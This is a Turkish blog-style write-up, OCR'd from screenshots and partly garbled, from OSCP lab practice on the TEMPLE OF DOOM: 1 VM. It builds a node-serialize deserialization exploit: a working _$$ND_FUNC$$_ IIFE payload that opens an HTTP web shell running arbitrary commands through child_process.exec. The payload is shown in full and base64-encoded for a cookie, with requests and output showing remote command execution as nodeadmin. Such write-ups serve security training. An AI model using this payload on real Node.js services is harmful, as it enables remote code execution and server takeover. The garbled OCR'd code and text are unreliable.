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1. Giris

OSCP hazirlk stirecimde zafiyetli makine ¢6zdiglim anlardan birinde TEMPLE OF DOOM: 1 isimli bir
makine ¢6zmekle mesguldim. Makinenin back-end’inde node js calistigini fark ettikten sonra internet
Gzerinden hizlandirilmis node js kurslarina bakmaya basladim. Daha dncesinde single thread non-
blocking teknolojisini anlatan bir makale okuyup node js ile ufak ¢apta proje gelistirmistim ancak
Gzerinden uzun bir zaman gegcmisti. 1.5x hizla kursu hizl bir sekilde bitirdim ve makineye kaldigim
yerden devam ettim.

iyilestirme yaptigim payload’i bir 6rnek lizerinde gdstermek istedigim icin ilgili zafiyetli makine
lizerinden ilerleyecegim. Bu sayede daha iyi anlasilabilecegini diislinliyorum ancak bu bir vm ¢6zimu
degildir. Yazimin sadece belirli kisimlarda bu makineye odaklanacagiz.

Hi¢ node js ya da javascript bilmiyor olabilirsiniz. Payloadi gelistirirken kullandigim yéntemleri
aciklayarak gitmek istiyorum. ihtiyacimiz olacak her seye elimden geldigince deginmeye calisacagim.
Bu anlatimlarimi Gereksinimler bashgi altinda agiklayacagim. Eger programla bilginize gliveniyorsaniz
bu kismi atlayabilirsiniz.

Heyecanl bir sekilde konulari anlatmayi, 6grenme ve 6grendiklerinin kalici olmasi asamasinda ¢ok
yararl oldugunu diisiiniiyorum. Universite yillarimda makine 6grenmesi dersinde, 6grenme siirecinin
agirhk degiskeniyle dogru orantili oldugunu okumustum ve agirlik gercek hayatta duyguya karsilik
geliyormus. Yani 6grenme asamasinda yasadigimiz heyecan, seving gibi duygularin 6grendiklerimizin
kahcihgini arttirdigini bilimsel bir sekilde desteklemis oldum, sanirim... Uzun lafin kisasi bilimsel bir
yazi stilinin yani sira sanki kisa bir dedektiflik hikayesi yaziyormus gibi yazi yazmayi planhyorum.



2. Gereksinimler

2.1. eval() fonksiyonu

Universite 1. Siniftayken python 6grenmeye baslamistim. O yillarda Python’a bulagsmis herkes gibi ilk
kaynagim istihza’ydi. Kitabin Tirkgesini gercekten ¢ok basarili bulmustum ve bir seyler anlatirken
teorik temelin dogru atilmasinin ne kadar 6énemli oldugunu bana ¢ok iyi asilamisti bu kitap. Neden bu
kitaptan bahsediyorum? Okudugum bir cimle lizerinden seneler gegmesine ragmen hala aklimda.
Sanirim Gslubu ¢ok begenmistim. Asagidaki gérselde kitaptan ilgili bolimin bir kesitini sizinle
paylastim. isterseniz https://python-istihza.yazbel.com/input.html| adresinden devamini
okuyabilirsiniz.

eval() ve exec() Fonksiyonlar

Bir onceki bolumun son ornek programinda eval() adli bir fonksiyonla karsilasmistik. iste
simdi bu onemli fonksiyonun ne ise yaradigini anlamaya calisacagiz. Ancak eval()
fonksiyonunu anlatmaya baslamadan once su uyariy! yapalim:

eval() SEYTANI GUCLERI OLAN BIR FONKSIYONDUR!

Bunun neden boyle oldugunu hem biz anlatacagiz, hem de zaten bu fonksiyonu tanidikca
neden eval()'e karsi dikkatli olmaniz gerektigini kendiniz de anlayacaksiniz.

Gorsel 1

Sanirim eval fonksiyonunun ne kadar tehlikeli oldugunu anlamis olduk. Ancak bir 6rnekle asagida
gostermek istiyorum. Bir node kabugu igerisinde eval ile yine bir javascript kodu ¢alistirmayi
deneyecegiz.

¥ Administrator: Windows PowerShell

PS C:\Users\bgorun> node

Welcome to Node.js v14.17.1.

Type ".help"” for more information.
> 5+10

15

> eval(5+10)

15

>

b

> 18 < 11 ? console.log("dogru™) : console.log("yanlis")
dogru

> eval(1e < 11 ? console.log("dogru™) : console.log("yanlis"))
dogru

Gorsel 2


https://python-istihza.yazbel.com/input.html

Gorsel 2’de anlasildigi Gzere eval fonksiyonun igerisine parametre olarak verilen javascript komutlari
dizgiin bir sekilde calistirlimaktadir. Sormamiz gereken soru sudur. Canli bir projede eval fonksiyonu
kullanihyorsa ve bu fonksiyona parametre olarak girilen degerlere kullanici miidahale edebiliyorsa,
bunu nasil manipule edebiliriz?

2.2. indexOf() ve substring() metotlari
Bu metotlari herkesin bildigine eminim. Ancak basit 6rneklerle agiklayacagim ve metotlarin neler
yaptigini gérecegiz.

var metin = "Merhaba Dunya"

metin.indexOf("Mer")

metin.indexOf("Merhaba")

metin.indexOf("Diinya")

Gorsel 3

Yukarida ki gorselde gorildugi tGzere indexOf ile bir string icerisinde arama yapmak istedigimiz
karakter katarinin kacinci index’ten itibaren basladigini saptamaktayiz. “Merhaba Diinya” string’i
icerisinde Mer ve Merhaba ifadeleri 0. index'ten itibaren baslamaktayken Diinya ifadesi 8. index’ten
itibaren baslamaktadir. Simdi substring’e bakalim.

> var metin = "Merhaba Dunya"

metin

metin.substring(8)

metin.substring(0)

metin.substring(2)

Gorsel 4



Yukarida gorildigi Gzere substring ile belirtmis oldugumuz index numarasindan sonraki string
verilerine ulasabilmekteyiz.

2.3. http Server Kurulumu ve Get Parametre Degerine Ulasma

Node js ile ilgili bir video izlediyseniz ya da bir yazi okuduysaniz ilk asamalarda basit bir sekilde nasil
bir http servisi ayaga kaldirildigini gérmissiinizdir. Node js’in gomuli kitliphaneleriile bu islemin
nasil yapildigini asagida gosterdim.

® )5 tfestServerjs X IS

require("ht
require( ‘ur

) .query;

numarali port

Gorsel 5

Curl ile deneme yaptigimizda asagidaki sonuglari aliriz.

£ ad PowerShell )

Users\bgorun> curl http://127.0.0.1:443?cmd=Merhabaaaaaa

StatusCode : 200

StatusDescription : OK

Content : {77, 101, 114, 104...}

RawContent : HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5

Content-Length: 12
Date: Wed, 16 Jun 2021 15:11:25 GMT

Merhabaaaaaa

Headers : {[Connection, keep-alive], [Keep-Alive, timeout=5], [Content-Length, 12], [Date, Wed, 16 Jun 2821 15:11:2
5 GMT]1}

RawContentLength : 12

Gorsel 6

TERMIMAL

PS C:\Users\bgorun\Desktop\demo> node testServer.js
Servis 443 numarali port Ozerinde baslatildi.

Merhabaaaaaa

Gorsel 7

Basit bir sekilde bir http servisi ayaga kaldirmayi ve get isteklerinde parametreleri parse etmeyi
gordik.

2.4. exec() Metodu
Gorsel 1’de belirttigim gibi exec ve eval fonksiyonlarinin tehlikeli oldugundan bahsetmistik. Ornek
olarak exec i¢in ayni kitaptan asagidaki paragrafi da okuyabilirsiniz.



kullanmak durumunda kalabhilirsiniz.

eval() fonksiyonunu anlatirken guvenlik ile ilgili olarak soyledigimiz her sey exec() fonksiyonu
icin de gecerlidir. Dolayisiyla bu iki fonksiyonu ¢ok dikkatli bir sekilde kullanmaniz ve bu
fonksiyonlarin dogurdugu guvenlik agiginin bilincinde olmaniz gerekiyor.

Henuz Python bilgilerimiz ¢ok kisith oldugu icin eval() ve exec() fonksiyonlarini butin
ayrintilartyla inceleyemiyoruz. Ama bilgimiz arttikca bu fonksiyonlarin ne kadar guclu (ve
tehlikeli) araglar oldugunu siz de goreceksiniz.

W e e AN, T B e e N

Gorsel 8

Exec metodu ile isletim sistemi seviyesinde nasil kod calistirabilecegimizi asagidaki kiiciik projeden
gorelim.

. = require(’child_p

cmd = "whoami™
ps.exec(cmd, {error, stdout, stderr
console.log(stdout)

Gorsel 9

Yukaridaki programi calistirdigimizda asagidaki sonucu aliriz.

PS C:\WUsers\bgorun\Desktop\demo> node .\0SCmd.js
innova\bgorun

PS C:\Users\bgorun\Desktop\demo> [

Gorsel 10

Evet temel gereksinimlerimizi tamamladigimizi diisiiniiyorum. Simdi basit bir senaryo lzerinden
devam edelim.



3. Senaryo

Burada zafiyetli makineye deginecegim c¢linkl elimizde hazir bir proje olacak ve anlasiima oranini
arttiracagini diisiiniiyorum. Zafiyetli makineden biraz bahsetmek gerekirse 666 portunda calisan bir
http Node.js Express Framework bulunmaktadir.

® /home/kali
666 10.0.2.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-16 11:39 EDT
Nmap scan report for 10.0.2.4
Host is up (0.0010s latency).

PORT STATE SERVICE VERSION
666/tcp open http Node.js Express framework
MAC Address: 08:00:27:80:D6:32 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds

Gorsel 11

Tarayicl ile ziyaret ettigimizde asagidaki sonucu aliyoruz.

Error x +

< ¢ @ QO £ 10.0.2.4

X Kali Linux % Kali Training % Kali Tools ¥ Kali Forums ¢ KaliDocs ¢ NetHunter Offensive Security MSFU - Exploit-DB  #- GHDB

SyntaxError: Unexpected token F in JSON at position 79
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/nodeadmin/.web/[EEMEIIEIIT IS EIEr/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at next (/home/nodeadmin/.web/node modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle request] (/home/nodeadmin/.web/node modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process params (/home/nodeadmin/.web/node modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node modules/express/lib/router/index.js:275:10)

Gorsel 12

Bunun Gzerine burp ile araya girdim ve trafigi inceleme karari verdim. Asagida benzer bir ekran
gorintisi yer almaktadir.

a- -
Request Response
ty Pl '‘n  Actions v m Raw Render \n  Actions v
1 GET / HTTP/1.1 1 HTTP/1.1 500 Internal Server Errar
2 Host: 10.0.2.4:666 2 X-Powered-By: Express
3 User-Agent: Mozilla/5.0 [X11; Linux xB86_64; rv:78.0) 3 Content-Security-Policy: default-src 'self’
Gecko/20100101 Firefox/78.0 4 X-Content-Type-Options: nosniff
4 Accept: 5 Content-Type: text/html; charset=utf-8
text/htnl, application/xhtml+xml, application/xnl;q=0.9,image/web & Content-Length: 1155
p.*/%,q=0.§ 7 Date: Wed, 16 Jun 2021 15:44:29 GMT
S Accept-Language: en-US,en;g=0.5 & Connection: close
& Accept-Encoding: gzip, deflate o
7 Connection: close 10 <IDOCTYPE html=>
o Cookie: profile= 11 <html lang="en"=
eyJlc2VybmFt ZSIEIkFkbWLuIiwiY3Ny ZnRva2VuljoidTMydDRYM3RIM2dnNDM 12 <heads
®ZnMzNGdnZGd]j aGp3bnphMGwIIiwiRXhwaXJlcz010kZyaWRheSwgMTMgTZNOID 13 <meta charset="utf-8"=
IwMTggMDASMDASMDAQROLLUINGE: 3D 14 <title=
9 Upgrade-Insecure-Requests: 1 Error
10 Cache-Control: max-age=0 =/title=
11 15 </head=
12 16  <body=>
17 <pre>

SyntaxErrar: Unexpected token F in JSON at position 79<brs
&nbsp; &nbsp;at JSOM.parse (&lt;anonymous&gt;)<br=

&nbsp; &nbspiat Object.exports.unserialize (/home/nodeadn
&nbsp; &nbspiat shomesnodeadmin/ web/server.js:i12i29<br=
&nbsp: &nbspiat Layer.handle [as handle_request] (/home/n
&nbsp; &nbsp:at next (shome/nodeadmin/.web/node_modules/e
&nbsp: &nbspiat Route.dispatch (/home/nodeadmin/.web/node
&nbsp; &nbsp:at Layer.handle [as handle_request] (/home/n
&nbsp; &nbsp;at /home/nodeadmin/.web/node_modules/express
&nbsp; &nbsp;at Function.process_params (/home/nodeadnin/
&nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/e

Gorsel 13



SyntaxError hata mesajini okuduktan sonra bazi oynamalar gerceklestirdim ve uygulamayi diizgiin
calisir hale getirdim. ilk olarak URL Decoding daha sonra Base64 Decoding islemleri gerceklestirdim.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

eyJ1c2VybmFtZSI61kFkbWluliwiY3NyZnRva2VuljoidTMydDRvM3RiM2dnND MxZnMzNGdnZGdjaGp3bnphMGw9liwiRXhwaXllcz0iOkZyaWRheSwgMTMgT2NOIDIwMT ggMDAEMDAEMDAgRO1UINO=

{"username":"Admin","csrftoken":"u32t403tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

Gorsel 14

Hatanin verildigi kismi inceledigimde json veri icerisinde son kismi kaldirip web sunucusu istegi tekrar
gonderim.

PS C:\Users\bgorun> python3
Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2028, 16:30:0@) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", “"credits" or "license" for more information.

>>> metin = *{"username":"Admin","csrftoken":"u32t403tb3gg431fs34ggdgchjwnzael=","Expires=":Friday, 13 Oct 2018 ©0:00:00 GMT"}
>>> len(metin)

113

>>>

>>> metin[79:]

'Friday, 13 Oct 2018 ©0:00:00 GMT"}'
>>>

Gorsel 15

eyJ1c2VybmFtZSIelkFkbWluliwiY3NyZnRva2Vuljoid TMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGwSIn0=

Gorsel 16



Request Response

Pretty \n Actions v M= Raw Render \n Actions v

1 GET / HTTR/1.1 1 HTTR/1.1 200 OK

2 Host: 10.0.2.4:666 2 X-Powered-By: Express

3 User-Agent: Mozilla/S5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 3 Content-Type: text/html; charset=utf-8

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8 4 Content-Length: 11

5 Accept-Language: en-US,en;q=0.5 5 ETag: W/"b-GwZKb4joaEb2agpBlbdbhMNzgtI®

& Accept-Encoding: gzip, deflate & Date: Wed, 16 Jun 2021 15:52:53 GMT

7 Connection: close 7 Connection: close

3 Cookie: profile= 8
eyllc2VybmFtZSIETkFkbwluIiwiY3NyZnRvazvuljoid TMydDRM3RIMZANNDMX ZnMzNGdnZGd j aGp3bnphMGwSIn0= 9 Hello Admin

Upgrade- Insecure-Requests: 1
10 Cache-Control: max-age=0

11

12

Gorsel 17

internet (izerinde node-serialize ile ilgili exploit ararken asagidaki sonuclara ulastim.

Gorsel 18

Acikcasi gelistirmem tamda burada devreye girmeye basliyor. Gorialdugi tzere gereksinimler
kisminda inceledigimiz childprocess kiitliphanesi ve exec metodu araciligi ile Is komutu galistiriimis.
Ancak bu ¢ok esnek degil. Sistem Linux olmayabilir ve her seferinde payload’i base64’leyip istedigimiz
kodu calistirmamiz icin tekrar eden islemleri gerceklestirmemiz gerekecek. Ornegin asagidaki gibi...

BIBKJESEXOZVTKMKJFImdWSjdGlvbiAoKXtyZXR1cm4gemVxdWlyZSgnY2hpbGRfcH vY 2VzoycpL mV4ZWNTeWSjKCd3aG9hbWknLCBmdW5jdGlvbihlcn Jvciwge3F

Gorsel 19

Daha sonrasinda whoami komutunun cevabini almak icin bunu Cookie’ye yerlestirdim.

Request Response

P rii‘_,-' \n  Actions v MEWH Raw Render \n  Actions v

1 GET / HTTR/1.1 1 HTTR/1.1 200 OK

2 Host: 10.0.2.4:666 2 X-Powered-By: Express

3 User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:78.0) Gecko/20100101 Firefox/78.0 3 Content-Type: text/html; charset=utf-8
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,*/*;q=0.8 4 Content-Length: 18

5 Accept-Language: en-US,en;q=0.5 5 ETag: W/"10-0oR8oMEvYdvwtOXL5fSz3/11mlk"

5 Accept-Encoding: gzip, deflate 5 Date: Thu, 17 Jun 2021 14:34:34 GMT
7 Connection: close 7 Connection: close

g Cookie: profile= 8

eyJlc2VybmFtZSISIL8k JESEACZY Tk Mk JFOmdWSj dGLvbiAoKX Ly ZXR1cmdgemVxdwlyZSgnY2hpbGRFcHIVY2Vzcy 9 Hello nodeadmin

cpLmV4ZwNTewS] KCd3aGShbwknLCBmdwS jdGlvbihlendve iwge 3Rkb3VOLCBzdGRLen Ip IHsgemyOd X JUKHNOZGI1 10

dCkgfsk7fsgpIiBg

Upgrade-Insecure-Reguests: 1

10 Cache-Control: max-age=0

Gorsel 20



Harika nodeadmin cevabini aldik. Ama bitiin islemlerim igin siirekli payloadi olusturup base64
islemine sokup Cookie’ye yerlestirip cevabini beklemem gerekecek. Olduk¢a zahmetli bir streg.
Payloadi’'mizi gelistirmeye baslamadan dnce ilgili payload’in nasil calistigina bir bakalim.



4. Debugging

node-serialize kiitiiphanesi ile calisiyoruz ve bu kiitiiphaneyi incelememiz gerekiyor. ilk olarak
editorde Ustlinkori bir inceledim ve daha sonrasinda payload’i anlamaya ¢alistim. Payloadimizin
basinda _$SND_FUNCSS_ seklinde bana anlamsiz gelen bir fonksiyon var. Belki de node js’in gdmulu
fonksiyonlarindan biridir diye diisinmistiim ve internette ne ise yaradigi hakkinda arastirmalar
yapmaya basladigimda nedense hep siber glivenlik sayfalari ve ilgili payload ile karsilastim. Yani
disindigiim gibi olmayabilir. Kitliiphanenin icinde kullanilan bir sey olabilir. Belki de gercekten
gom{ll bir fonksiyondur kim bilir?

KEYPATHSEPARATOR
ISNATIVEFUNC

Gorsel 21

FUNCFLAG degiskeninin degeri tanidik geldi mi? Kitiiphanein kodlarini okurken, kodlar igerisinde
seytani bir fonksiyon var mi diye aradim.

5 serializ

origin0Obj);

CIRCULARFLAG)
ring(CIRCULAR

Gorsel 22

Eger if(obj[key].indexOf(FUNCFLAG) === 0) blogunu isletebilirsek eval fonksiyonu igerisinde
obj[key].substring(FUNCFLAG.length) kodlari ¢alistirilacak. Objemizi zaten cookie araciligi ile
gonderiyoruz. Ve obj[key] denildiginde paylodimizi ¢calismasini istiyoruz. Ancak if blogunda indexOf
islemi gerceklestirilmis ve degerinin 0 olmasi istenmis yani payload ifademiz FUNCFLAG degiskeninin
degeri ile baglamali, bu degerde: _SSND_FUNCSS_

Daha sonrasinda eval fonksiyonun igerisine girecegiz ve _SSND_FUNCSS_ degerinden sonraki kisimlar
substring araciligi ile bir node js kodu olarak calisacak. Mantigi iyi bir sekilde anladigimizi
distnliyorum. Simdi gelistirmemizi gergeklestirelim.



5. Gelistirme

Yapacagimiz sey aslinda Gereksinimler kisminda 6grenmis oldugumuz bir http server baslatip, get ile
gelen parametreli isteklerden degeri alip, isletim sistemi seviyesinde kod ydritiip, cevabi iletmek.
Bunun basit bir hali asagida verilmistir.

http = require( "http');
url = require{ " url'};
ps = require( chilc s');
http.createServer( (reg, res) {
queryDbject = url.parse(req.url, ) -query;
cmd = queryObject['cmd’];

ps.exec{cmd, {error, stdout, stderr
res.end(stdout);

I
L

Gorsel 23

Port kismi burada 3000 olarak ayarlanmis bu tabi ki degistirilebilir. Asagidaki gérsele bakin.

" $$ND_FUNCSE$ (M /* kodlarimizin calisa

Gorsel 24

Yorum satiri kismina istedigimiz node js kodlarini yazabiliriz. Dikkat ederseniz burada birde
Immediately invoked function expression (IIFE) kullandik, en sondaki () ifadesi ile fonksiyonumuz
kendi kendini cagirmaktadir. iste web Shell agan payload:

serialize = require( 'node-serialize');

payload = {

"webShell" : " $$ND FUNC$$ function(){const http = require('http'); const
url = require('url'); const ps = require('child process'); http.createServer(

function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd
= queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { re
s.end(stdout); }); } catch (error) { return; }}).listen(3000); }()"
}

serialize.unserialize(serialize.serialize(payload))




6. PoC

{"username":"_SSND_FUNCSS_function(){const http = require('http'); const url = require('url'); const
ps = require('child_process'); http.createServer(function (req, res) { var queryObject =
url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout,
stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); })" }

Seklinde payload’imizi base64 hale donistlriyorum.

eyJ1c2VybmFtZSI6II8kJESEX0ZVTkMkIFOMdAWS5jdGlvbigpe2NvbnNOIGhOdHAgPSByZXF1aXJIKCdodHR
wlyk7IGNvbnNOIHVybCASIHJIcXVpcmUoJ3VybCcpOyBjb25zdCBwcyAgPSByZXF1aXJIKCdjaGlsZF9wcm
9jZXNzJyk71GhOdHAuUY3JIYXRIU2VydmVyKGZ1bmNOaW9ulChyZXEsIHJIcykgeyB2YXIgcXVicnIPYmplY3Q
gPSB1cmwucGFyc2UocmVxLnVybCx0cnVIKS5xdWVyeTsgdmFyIGNtZCASIHF1ZXJ5T2JgZWNOWydjbW
QnXTsgdHJ5IHsgcHMuzZXhlYyhjbWQsIGZ1bmNOaW9uKGVycm9yLCBzdGRvdXQsIHNOZGVycikgeyByZX
MuZW5kKHNO0ZG91dCk7IHOpOyB9IGNhdGNolChicnlvcikgeyByZXR1cm47IH19KS5saXNOZW4oNDQzK
TsgfSgpliB9

ilk olarak nmap ile bir test edelim. Daha sonrasinda ilgili istege yerlestirelim.

Jhome/kali

443

ting Nmap 7.91 ( https://nmap.org ) at 2021-06-17 11:20 EDT
scan report for 19.0.

up (©.80050s latency).

STATE SERVICE
443/tcp closed https
MAC Address: @8:00:27:80:D6:32 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in @.24 seconds

Gorsel 25

Requ

iy B \n Actions v

v:78.0) Gecko/20100101 Firefox/78.0
ml;q=0.9, image /webp, */*;q=0.8

NDQZKTsgfSgpIieg

pe
Cache-Control: max-age=0

@ el» 0 matches

Waiting

Gorsel 26

Simdi nmap testini tekrar edelim.



- Jhome/kali
1 0.0.2.4 443
https:// map.org ) at 2021-@6-17 11:22 EDT
e R
latency).
STATE SERVICE
open https
MAC Address: @8:00:27:88:D6:32 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in @.17 seconds

- Jhome/kali
rl http://1@.¢€ cmd=whoami
nodeadmin




